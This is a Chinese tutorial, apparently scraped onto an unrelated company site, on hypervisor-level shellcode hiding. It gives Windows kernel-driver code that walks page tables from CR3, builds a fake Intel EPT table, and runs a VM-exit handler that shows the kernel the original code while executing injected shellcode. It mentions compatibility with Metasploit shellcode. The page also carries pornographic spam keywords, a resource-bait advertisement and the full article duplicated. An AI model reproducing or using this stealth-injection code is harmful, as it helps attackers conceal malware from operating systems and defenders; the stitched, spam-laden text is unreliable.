操屁眼的视频在线免费看,日本在线综合一区二区,久久在线观看免费视频,欧美日韩精品久久综

新聞資訊

    前言

    是否有一種方法可以讓處在ring0的內核也無法探測到這段被加載到應用程序的內存呢?答案是有的。

    在Windows操作系統的認知下,他所在的ring0是已經達到了最高權限,所以他可以俯視一切,并且可以欺騙一切,他欺騙應用程序獨占4GB的內存,但是他沒有想到是否有一種權限是高于他并且可以欺騙他。

    當Windows開啟虛擬化之后,整個操作系統跑在cpu給其設計的虛擬機上,為了能夠更好的管理操作系統,衍生出了需要管理操作系統的權限,即host權限,因為當時在設計權限命名時可能沒有虛擬化的概念,所以為了能夠更好的表示其權限高于Windows操作系統的R0(guest權限),所以將其稱之為R-1,也就是這里我所描述的上帝視角。和操作系統欺騙應用程序類似,處于R-1的host同樣的可以欺騙Windows內核。

    本篇文章將會通過內存隱匿的方式達到shellcode無痕化。

    內存無痕化原理

    為了簡化內存虛擬化的實現,以及提升內存虛擬化的性能,Intel推出了EPT(Enhanced Page Table)技術,即在原有的頁表基礎上新增了EPT頁表實現另一次映射。這樣,GVA-GPA-HPA兩次地址轉換都由CPU硬件自動完成。

    描述有點繁瑣,簡單介紹一下,由于開啟了VT(虛擬化),所以Windows認為的物理地址需要經過root的EPT進行映射。

    guest的虛擬內存轉化為guest的物理內存,但這并不一定是真正的物理內存,需要經過EPT表進行轉化到host的物理地址。

    EPT表的具體轉化方式類似于四級頁表,具體詳細內容可以百度搜索。

    處在host權限的程序可以創建一張虛假的EPT傳遞給操作系統,當操作系統想要查找某一頁內存時,我們返回其真正的內存頁,擔當需要執行這塊內存時,通過EPT得到的是我們預先準備好的虛假內存。

    所以出現了執行的代碼與讀出來的代碼不一致的情況。

    并且因特爾cpu允許內存頁權限的完全可控化,也就是說這塊內存可以只有執行權限,但是沒有讀寫權限,這種畸形的內存頁屬性。

    上帝模式的shellcode整體注入方式

    首先是得到程序將會執行的一塊內存地址,這塊內存地址中是正常的代碼,也就是寫一個比較長的無用代碼(類似于__asm{mov eax,eax})但是最好要長一些,防止覆蓋。

    得到這個函數的虛擬地址之后,通過IRP傳遞給R0,通過IRP執行的代碼運行在程序內部,所以得到的虛擬地址可以通過pdbr指向的頁表轉化為真實的物理地址。

    再在IRP中開啟一個R0權限的線程,此線程用于開啟VT虛擬化。

    在開啟VT虛擬化之前生成一張自定義的EPT表,這張表中將得到的物理地址內容拷貝出一份作為執行頁面,并且假頁面的內容根據需要注入shellcode,將物理地址內存所在頁權限設置為只可讀寫。

    當執行到shellcode所在內存時,由于沒有執行權限,host將會接管操作系統,將頁面替換為注入了shellcode的內存頁面,并且將屬性設置為只可以執行,當有程序讀取這塊內存時,又發生了異常,host將其頁面修改為原始頁面,并且屬性設置為只可讀寫,以此往復,達到了讀寫與執行的分離。

    【→所有資源關注我,私信回復“資料”獲取←】
    1、網絡安全學習路線
    2、電子書籍(白帽子)
    3、安全大廠內部視頻
    4、100份src文檔
    5、常見安全面試題
    6、ctf大賽經典題目解析
    7、全套工具包
    8、應急響應筆記

    第一步應用程序創建一個垃圾函數

    很簡單,只需要編寫一些廢話代碼就可以。類似于:

    
    
    int testFun(){
            int a=10;
            __asm{
                    mov a,15
                    mov eax,ebx
                    mov ebx,eax
                    mov eax,ebx
                    mov ebx,eax
                    mov eax,ebx
                    mov ebx,eax
                    mov eax,ebx
                    mov ebx,eax
                    ........
            }
            return a;
    }

    但是需要注意的是,需要關閉編譯器自動轉化內斂函數的開關,否則當編譯器看到你這段代碼不長,并且有極大優化空間,沒有參數之類的情況時,將會自動將其以內斂函數的方式編譯,當值此函數地址無法被調用。

    在加載內核驅動之后傳遞IRP之后,執行此垃圾函數。

    得到虛擬地址的物理地址

    // 得到傳入的ring3層虛擬地址
                            pOutAddress=(size_t*)MmGetSystemAddressForMdlSafe(pIrp->MdlAddress, NormalPagePriority);
    
                            RtlZeroMemory(&virtualAddress,sizeof(VIRTUAL_ADDRESS));
                            virtualAddress.ulVirtualAddress=*pOutAddress;
    
                            // 得到頁目錄指針物理地址
                            _asm{
                                    mov eax,  cr3;
                                    mov pdbr, eax;
                            }
    
                            // 映射為虛擬地址以便取值
                            RtlZeroMemory(&phyAddress,sizeof(PHYSICAL_ADDRESS));
                            phyAddress.LowPart=pdbr;
                            pPdbr=(PULONG)MmMapIoSpace(phyAddress, sizeof(PHYSICAL_ADDRESS), MmNonCached);
                            KdPrint(("pdbr=0x%08X, 映射后的地址0x%p\n", pdbr, pPdbr));
    
                            // 定位頁目錄指針表并獲取頁目錄表物理頁地址
                            // ulDirAddress 為頁目錄表物理頁地址
                            ulPointerIdx=virtualAddress.stVirtualAddress.dirPointer;
                            ulDirBaseAddress=pPdbr[ulPointerIdx];
                            ulDirBaseAddress &=0xFFFFF000;                        // 中間物理地址
    
                            // 定位頁表項
                            ulDirAddress=ulDirBaseAddress + virtualAddress.stVirtualAddress.dirIndex * 0x8;
                            phyAddress.LowPart=ulDirAddress;
                            pPageTable=(PULONG)MmMapIoSpace(phyAddress, sizeof(PHYSICAL_ADDRESS), MmNonCached);
                            ulPageTable=*pPageTable;
                            ulPageTable &=0xFFFFF000;                                 // 中間物理地址
    
                            // 定位物理頁面
                            ulPageTable +=virtualAddress.stVirtualAddress.tableIndex * 0x8;
                            phyAddress.LowPart=ulPageTable;
                            pPageBase=(PULONG)MmMapIoSpace(phyAddress, sizeof(PHYSICAL_ADDRESS), MmNonCached);
                            ulPageBase=*pPageBase;
                            ulPageBase &=0xFFFFF000;
    
                            // 得到物理地址
                            ulPhyAddress=ulPageBase + virtualAddress.stVirtualAddress.offset;
    
                            // 映射為虛擬地址,獲取其值進行驗證
                            phyAddress.LowPart=ulPhyAddress;
                            pPhyAddress=(PWCHAR)MmMapIoSpace(phyAddress, sizeof(PHYSICAL_ADDRESS), MmNonCached);
                            KdPrint(("虛擬地址:0x%08X, 對應物理地址:0x%08X", *pOutAddress, ulPhyAddress));

    通過CR3寄存器得到頁目錄表頁面的物理地址(pdbr),然后一級級尋址得到物理地址。

    創建虛假的EPT表

    ULONG64* MyEptInitialization()
    {
        ULONG64 *ept_PDPT, *ept_PDT, *ept_PT;
    
            ULONG64 * create_page;
            PHYSICAL_ADDRESS create_page_PA;
        PHYSICAL_ADDRESS FirstPtePA, FirstPdePA, FirstPdptePA;
            ULONG deviation;//這個是函數地址對于函數頁面地址的偏移
    
            int a, b, c;
    
            createCode();
    
        initEptPagesPool();
        ept_PML4T=AllocateOnePage();
        ept_PDPT=AllocateOnePage();
        FirstPdptePA=MmGetPhysicalAddress(ept_PDPT);
        *ept_PML4T=(FirstPdptePA.QuadPart) + 7;
        for (a=0; a < 4; a++)
        {
            ept_PDT=AllocateOnePage();
            FirstPdePA=MmGetPhysicalAddress(ept_PDT);
            *ept_PDPT=(FirstPdePA.QuadPart) + 7;
            ept_PDPT++;
            for (b=0; b < 512; b++)
            {
                ept_PT=AllocateOnePage();
                FirstPtePA=MmGetPhysicalAddress(ept_PT);
                *ept_PDT=(FirstPtePA.QuadPart) + 7;
                ept_PDT++;
                for (c=0; c < 512; c++)
                {        
                    *ept_PT=((a << 30) | (b << 21) | (c << 12) | 0x37) & 0xFFFFFFFF;
                    if ((((a << 30) | (b << 21) | (c << 12) | 0x37) & 0xFFFFF000)==(origin_fun_pa & 0xFFFFF000))
                    {
                                            RtlZeroMemory(&create_page_PA,sizeof(PHYSICAL_ADDRESS));
                                            create_page_PA.LowPart=origin_fun_pa & 0xFFFFF000;
                                            create_page=MmMapIoSpace(create_page_PA,PAGE_SIZE,MmNonCached);
                                            RtlZeroMemory(&origin_pa,sizeof(PHYSICAL_ADDRESS));
                                            origin_pa.LowPart=((a << 30) | (b << 21) | (c << 12) | 0x37);
                                            deviation=origin_fun_pa - (origin_fun_pa & 0xFFFFF000);
                                            fake_mem=AllocateFakePage(create_page,deviation,code,codelength);
                                            hook_pa=MmGetPhysicalAddress(fake_mem);
                                            *ept_PT=(hook_pa.QuadPart | 0x34) & 0xFFFFFFFF;
                                            Log("fake_mem",fake_mem);
                                            Log("*ept_PT",*ept_PT);
    
                                            //__asm int 3;
                        hook_ept_pt=ept_PT;
                    }
                    ept_PT++;
                }
            }
        }
    
        return ept_PML4T;
    }

    具體操作方式和創建一個四級頁表很相似,但是需要注意的是,將垃圾函數所在的物理內存頁屬性設置為只可讀寫不可執行。

    開啟VT虛擬化

    此過程稍許復雜,類似于Windows窗口注冊的方式,所以只簡單介紹需要填充EPT的字段。

    EPT填充在虛擬化的guest控制域中

        Vmx_VmWrite(CPU_BASED_VM_EXEC_CONTROL, VmxAdjustControls(0x80000000, MSR_IA32_VMX_PROCBASED_CTLS));
        Vmx_VmWrite(EPT_POINTER, (EPTP | 6 | (3 << 3)) & 0xFFFFFFFF);
        Vmx_VmWrite(EPT_POINTER_HIGH, (EPTP | 6 | (3 << 3)) >> 32);
        Vmx_VmWrite(EPT_POINTER_HIGH, EPTP >> 32);
        Vmx_VmWrite(SECONDARY_VM_EXEC_CONTROL, VmxAdjustControls(0x2, MSR_IA32_VMX_PROCBASED_CTLS2));

    打開EPT開關,傳入自己的EPT表地址,通過高低32位的方式填充。

    捕獲FP異常

    void HandleEPT()
    {
            ULONG                ExitQualification;
    
        ExitQualification=Vmx_VmRead(EXIT_QUALIFICATION) ;
            if(ExitQualification & 3){
                    //read write
                    Log("EPT read",0);
                    *hook_ept_pt=((origin_pa.LowPart & 0xFFFFF000) | 0x33);
                    //*hook_ept_pt=((hook_pa.LowPart & 0xFFFFF000) | 0x33);
            }else{
                    //exec
                    Log("EPT EXEC",0);
                    *hook_ept_pt=((hook_pa.LowPart & 0xFFFFF000) | 0x34);
            }
    
    }

    此處可以看到,頁面異常時將虛假頁面和真正頁面的替換過程

    3代表可讀寫(11),4代表可執行(100),7代表可讀寫執行(111)

    和linux的chmod權限設置方式相同。

    shellcode

    shellcode需要注意的是,最好使用push addr,ret的方式進行函數跳轉,防止因為絕對地址帶來的干擾問題。

    效果展示

    可以看到,這里od讀取的內存時原本正常的代碼內容

    按下回車再次執行垃圾函數。


    此時雖然內存展示是原本函數,但是執行的卻是彈出了MessageBox(由于push的type類型是0,xp上面顯示的就是這個樣子)。

    注意

    由于內存讀寫執行的分離,當時用msf類型的shellcode時,需要分離讀寫,將寫與執行在一起,保證shellcode更改自身可以成功寫入到注入了shellcode的內存

    前言

    是否有一種方法可以讓處在ring0的內核也無法探測到這段被加載到應用程序的內存呢?答案是有的。

    在Windows操作系統的認知下,他所在的ring0是已經達到了最高權限,所以他可以俯視一切,并且可以欺騙一切,他欺騙應用程序獨占4GB的內存,但是他沒有想到是否有一種權限是高于他并且可以欺騙他。

    當Windows開啟虛擬化之后,整個操作系統跑在cpu給其設計的虛擬機上,為了能夠更好的管理操作系統,衍生出了需要管理操作系統的權限,即host權限,因為當時在設計權限命名時可能沒有虛擬化的概念,所以為了能夠更好的表示其權限高于Windows操作系統的R0(guest權限),所以將其稱之為R-1,也就是這里我所描述的上帝視角。和操作系統欺騙應用程序類似,處于R-1的host同樣的可以欺騙Windows內核。

    本篇文章將會通過內存隱匿的方式達到shellcode無痕化。

    內存無痕化原理

    為了簡化內存虛擬化的實現,以及提升內存虛擬化的性能,Intel推出了EPT(Enhanced Page Table)技術,即在原有的頁表基礎上新增了EPT頁表實現另一次映射。這樣,GVA-GPA-HPA兩次地址轉換都由CPU硬件自動完成。

    描述有點繁瑣,簡單介紹一下,由于開啟了VT(虛擬化),所以Windows認為的物理地址需要經過root的EPT進行映射。

    guest的虛擬內存轉化為guest的物理內存,但這并不一定是真正的物理內存,需要經過EPT表進行轉化到host的物理地址。

    EPT表的具體轉化方式類似于四級頁表,具體詳細內容可以百度搜索。

    處在host權限的程序可以創建一張虛假的EPT傳遞給操作系統,當操作系統想要查找某一頁內存時,我們返回其真正的內存頁,擔當需要執行這塊內存時,通過EPT得到的是我們預先準備好的虛假內存。

    所以出現了執行的代碼與讀出來的代碼不一致的情況。

    并且因特爾cpu允許內存頁權限的完全可控化,也就是說這塊內存可以只有執行權限,但是沒有讀寫權限,這種畸形的內存頁屬性。

    上帝模式的shellcode整體注入方式

    首先是得到程序將會執行的一塊內存地址,這塊內存地址中是正常的代碼,也就是寫一個比較長的無用代碼(類似于__asm{mov eax,eax})但是最好要長一些,防止覆蓋。

    得到這個函數的虛擬地址之后,通過IRP傳遞給R0,通過IRP執行的代碼運行在程序內部,所以得到的虛擬地址可以通過pdbr指向的頁表轉化為真實的物理地址。

    再在IRP中開啟一個R0權限的線程,此線程用于開啟VT虛擬化。

    在開啟VT虛擬化之前生成一張自定義的EPT表,這張表中將得到的物理地址內容拷貝出一份作為執行頁面,并且假頁面的內容根據需要注入shellcode,將物理地址內存所在頁權限設置為只可讀寫。

    當執行到shellcode所在內存時,由于沒有執行權限,host將會接管操作系統,將頁面替換為注入了shellcode的內存頁面,并且將屬性設置為只可以執行,當有程序讀取這塊內存時,又發生了異常,host將其頁面修改為原始頁面,并且屬性設置為只可讀寫,以此往復,達到了讀寫與執行的分離。

    【→所有資源關注我,私信回復“資料”獲取←】
    1、網絡安全學習路線
    2、電子書籍(白帽子)
    3、安全大廠內部視頻
    4、100份src文檔
    5、常見安全面試題
    6、ctf大賽經典題目解析
    7、全套工具包
    8、應急響應筆記

    第一步應用程序創建一個垃圾函數

    很簡單,只需要編寫一些廢話代碼就可以。類似于:

    
    
    int testFun(){
            int a=10;
            __asm{
                    mov a,15
                    mov eax,ebx
                    mov ebx,eax
                    mov eax,ebx
                    mov ebx,eax
                    mov eax,ebx
                    mov ebx,eax
                    mov eax,ebx
                    mov ebx,eax
                    ........
            }
            return a;
    }

    但是需要注意的是,需要關閉編譯器自動轉化內斂函數的開關,否則當編譯器看到你這段代碼不長,并且有極大優化空間,沒有參數之類的情況時,將會自動將其以內斂函數的方式編譯,當值此函數地址無法被調用。

    在加載內核驅動之后傳遞IRP之后,執行此垃圾函數。

    得到虛擬地址的物理地址

    // 得到傳入的ring3層虛擬地址
                            pOutAddress=(size_t*)MmGetSystemAddressForMdlSafe(pIrp->MdlAddress, NormalPagePriority);
    
                            RtlZeroMemory(&virtualAddress,sizeof(VIRTUAL_ADDRESS));
                            virtualAddress.ulVirtualAddress=*pOutAddress;
    
                            // 得到頁目錄指針物理地址
                            _asm{
                                    mov eax,  cr3;
                                    mov pdbr, eax;
                            }
    
                            // 映射為虛擬地址以便取值
                            RtlZeroMemory(&phyAddress,sizeof(PHYSICAL_ADDRESS));
                            phyAddress.LowPart=pdbr;
                            pPdbr=(PULONG)MmMapIoSpace(phyAddress, sizeof(PHYSICAL_ADDRESS), MmNonCached);
                            KdPrint(("pdbr=0x%08X, 映射后的地址0x%p\n", pdbr, pPdbr));
    
                            // 定位頁目錄指針表并獲取頁目錄表物理頁地址
                            // ulDirAddress 為頁目錄表物理頁地址
                            ulPointerIdx=virtualAddress.stVirtualAddress.dirPointer;
                            ulDirBaseAddress=pPdbr[ulPointerIdx];
                            ulDirBaseAddress &=0xFFFFF000;                        // 中間物理地址
    
                            // 定位頁表項
                            ulDirAddress=ulDirBaseAddress + virtualAddress.stVirtualAddress.dirIndex * 0x8;
                            phyAddress.LowPart=ulDirAddress;
                            pPageTable=(PULONG)MmMapIoSpace(phyAddress, sizeof(PHYSICAL_ADDRESS), MmNonCached);
                            ulPageTable=*pPageTable;
                            ulPageTable &=0xFFFFF000;                                 // 中間物理地址
    
                            // 定位物理頁面
                            ulPageTable +=virtualAddress.stVirtualAddress.tableIndex * 0x8;
                            phyAddress.LowPart=ulPageTable;
                            pPageBase=(PULONG)MmMapIoSpace(phyAddress, sizeof(PHYSICAL_ADDRESS), MmNonCached);
                            ulPageBase=*pPageBase;
                            ulPageBase &=0xFFFFF000;
    
                            // 得到物理地址
                            ulPhyAddress=ulPageBase + virtualAddress.stVirtualAddress.offset;
    
                            // 映射為虛擬地址,獲取其值進行驗證
                            phyAddress.LowPart=ulPhyAddress;
                            pPhyAddress=(PWCHAR)MmMapIoSpace(phyAddress, sizeof(PHYSICAL_ADDRESS), MmNonCached);
                            KdPrint(("虛擬地址:0x%08X, 對應物理地址:0x%08X", *pOutAddress, ulPhyAddress));

    通過CR3寄存器得到頁目錄表頁面的物理地址(pdbr),然后一級級尋址得到物理地址。

    創建虛假的EPT表

    ULONG64* MyEptInitialization()
    {
        ULONG64 *ept_PDPT, *ept_PDT, *ept_PT;
    
            ULONG64 * create_page;
            PHYSICAL_ADDRESS create_page_PA;
        PHYSICAL_ADDRESS FirstPtePA, FirstPdePA, FirstPdptePA;
            ULONG deviation;//這個是函數地址對于函數頁面地址的偏移
    
            int a, b, c;
    
            createCode();
    
        initEptPagesPool();
        ept_PML4T=AllocateOnePage();
        ept_PDPT=AllocateOnePage();
        FirstPdptePA=MmGetPhysicalAddress(ept_PDPT);
        *ept_PML4T=(FirstPdptePA.QuadPart) + 7;
        for (a=0; a < 4; a++)
        {
            ept_PDT=AllocateOnePage();
            FirstPdePA=MmGetPhysicalAddress(ept_PDT);
            *ept_PDPT=(FirstPdePA.QuadPart) + 7;
            ept_PDPT++;
            for (b=0; b < 512; b++)
            {
                ept_PT=AllocateOnePage();
                FirstPtePA=MmGetPhysicalAddress(ept_PT);
                *ept_PDT=(FirstPtePA.QuadPart) + 7;
                ept_PDT++;
                for (c=0; c < 512; c++)
                {        
                    *ept_PT=((a << 30) | (b << 21) | (c << 12) | 0x37) & 0xFFFFFFFF;
                    if ((((a << 30) | (b << 21) | (c << 12) | 0x37) & 0xFFFFF000)==(origin_fun_pa & 0xFFFFF000))
                    {
                                            RtlZeroMemory(&create_page_PA,sizeof(PHYSICAL_ADDRESS));
                                            create_page_PA.LowPart=origin_fun_pa & 0xFFFFF000;
                                            create_page=MmMapIoSpace(create_page_PA,PAGE_SIZE,MmNonCached);
                                            RtlZeroMemory(&origin_pa,sizeof(PHYSICAL_ADDRESS));
                                            origin_pa.LowPart=((a << 30) | (b << 21) | (c << 12) | 0x37);
                                            deviation=origin_fun_pa - (origin_fun_pa & 0xFFFFF000);
                                            fake_mem=AllocateFakePage(create_page,deviation,code,codelength);
                                            hook_pa=MmGetPhysicalAddress(fake_mem);
                                            *ept_PT=(hook_pa.QuadPart | 0x34) & 0xFFFFFFFF;
                                            Log("fake_mem",fake_mem);
                                            Log("*ept_PT",*ept_PT);
    
                                            //__asm int 3;
                        hook_ept_pt=ept_PT;
                    }
                    ept_PT++;
                }
            }
        }
    
        return ept_PML4T;
    }

    具體操作方式和創建一個四級頁表很相似,但是需要注意的是,將垃圾函數所在的物理內存頁屬性設置為只可讀寫不可執行。

    開啟VT虛擬化

    此過程稍許復雜,類似于Windows窗口注冊的方式,所以只簡單介紹需要填充EPT的字段。

    EPT填充在虛擬化的guest控制域中

        Vmx_VmWrite(CPU_BASED_VM_EXEC_CONTROL, VmxAdjustControls(0x80000000, MSR_IA32_VMX_PROCBASED_CTLS));
        Vmx_VmWrite(EPT_POINTER, (EPTP | 6 | (3 << 3)) & 0xFFFFFFFF);
        Vmx_VmWrite(EPT_POINTER_HIGH, (EPTP | 6 | (3 << 3)) >> 32);
        Vmx_VmWrite(EPT_POINTER_HIGH, EPTP >> 32);
        Vmx_VmWrite(SECONDARY_VM_EXEC_CONTROL, VmxAdjustControls(0x2, MSR_IA32_VMX_PROCBASED_CTLS2));

    打開EPT開關,傳入自己的EPT表地址,通過高低32位的方式填充。

    捕獲FP異常

    void HandleEPT()
    {
            ULONG                ExitQualification;
    
        ExitQualification=Vmx_VmRead(EXIT_QUALIFICATION) ;
            if(ExitQualification & 3){
                    //read write
                    Log("EPT read",0);
                    *hook_ept_pt=((origin_pa.LowPart & 0xFFFFF000) | 0x33);
                    //*hook_ept_pt=((hook_pa.LowPart & 0xFFFFF000) | 0x33);
            }else{
                    //exec
                    Log("EPT EXEC",0);
                    *hook_ept_pt=((hook_pa.LowPart & 0xFFFFF000) | 0x34);
            }
    
    }

    此處可以看到,頁面異常時將虛假頁面和真正頁面的替換過程

    3代表可讀寫(11),4代表可執行(100),7代表可讀寫執行(111)

    和linux的chmod權限設置方式相同。

    shellcode

    shellcode需要注意的是,最好使用push addr,ret的方式進行函數跳轉,防止因為絕對地址帶來的干擾問題。

    效果展示

    可以看到,這里od讀取的內存時原本正常的代碼內容

    按下回車再次執行垃圾函數。


    此時雖然內存展示是原本函數,但是執行的卻是彈出了MessageBox(由于push的type類型是0,xp上面顯示的就是這個樣子)。

    注意

    由于內存讀寫執行的分離,當時用msf類型的shellcode時,需要分離讀寫,將寫與執行在一起,保證shellcode更改自身可以成功寫入到注入了shellcode的內存

網站首頁   |    關于我們   |    公司新聞   |    產品方案   |    用戶案例   |    售后服務   |    合作伙伴   |    人才招聘   |   

友情鏈接: 餐飲加盟

地址:北京市海淀區    電話:010-     郵箱:@126.com

備案號:冀ICP備2024067069號-3 北京科技有限公司版權所有